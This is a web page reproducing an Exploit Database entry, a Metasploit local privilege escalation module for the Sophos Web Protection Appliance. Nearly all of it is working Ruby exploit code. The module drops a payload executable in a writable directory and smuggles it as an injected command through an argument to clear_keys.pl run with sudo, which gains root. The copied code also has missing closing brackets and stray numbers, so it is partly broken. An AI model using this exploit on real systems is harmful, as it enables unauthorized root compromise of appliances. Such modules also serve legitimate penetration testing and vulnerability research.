Sophos Web Protection Appliance – clear_keys.pl Privilege Escalation (Metasploit)

Exploit Database
110 阅读

作者： Metasploit

日期： 2013-09-17
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/28332/

100

101

102

103

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

require 'rex'

require 'msf/core/post/common'

require 'msf/core/post/file'

require 'msf/core/post/linux/priv'

require 'msf/core/exploit/exe'

class Metasploit4 < Msf::Exploit::Local

Rank = ExcellentRanking

include Msf::Exploit::EXE

include Msf::Post::File

include Msf::Post::Common

def initialize(info={})

super( update_info( info, {

'Name'=> 'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation',

'Description' => %q{

This module abuses a command injection on the clear_keys.pl perl script, installed with the

Sophos Web Protection Appliance, to escalate privileges from the "spiderman" user to "root".

This module is useful for post exploitation of vulnerabilities on the Sophos Web Protection

Appliance web ui, executed by the "spiderman" user. This module has been tested successfully

on Sophos Virtual Web Appliance 3.7.0.

'License' => MSF_LICENSE,

'Author'=>

[

'Francisco Falcon', # Vulnerability discovery

'juan vazquez' # Metasploit module

'Platform' => [ 'linux'],

'Arch' => [ ARCH_X86 ],

'SessionTypes' => [ 'shell', 'meterpreter' ],

'Targets'=>[[ 'Linux x86', { 'Arch' => ARCH_X86 } ]],

'References' =>

[

[ 'CVE', '2013-4984' ],

[ 'OSVDB', '97028' ],

[ 'BID', '62265' ],

[ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities']

'DefaultOptions' =>

{

"PrependFork"=> true,

"PrependSetresuid" => true,

"PrependSetresgid" => true

'DefaultTarget'=> 0,

'DisclosureDate' => 'Sep 06 2013'

}

))

register_options([

# These are not OptPath becuase it's a *remote* path

OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),

OptString.new("clear_keys",[ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ]),

], self.class)

end

def check

if file?(datastore["clear_keys"])

return CheckCode::Detected

end

return CheckCode::Unknown

end

def exploit

print_status("Checking actual user...")

id = cmd_exec("id -un")

if id != "spiderman"

fail_with(Failure::NoAccess, "The actual user is \"#{id}\", you must be \"spiderman\" to exploit this")

end

print_status("Checking for the vulnerable component...")

if check != CheckCode::Detected

fail_with(Failure::NoTarget, "The vulnerable component has not been found")

end

print_status("Dropping the payload to #{datastore["WritableDir"]}")

exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"

write_file(exe_file, generate_payload_exe)

cmd_exec "chmod +x #{exe_file}"

print_status("Running...")

begin

# rm the file after executing it to avoid getting multiple sessions

cmd_exec "sudo #{datastore["clear_keys"]} #{rand_text_alpha(4 + rand(4))} \";#{exe_file}; rm -f #{exe_file};\" /#{rand_text_alpha(4 + rand(4))}"

ensure

cmd_exec "rm -f #{exe_file}"

end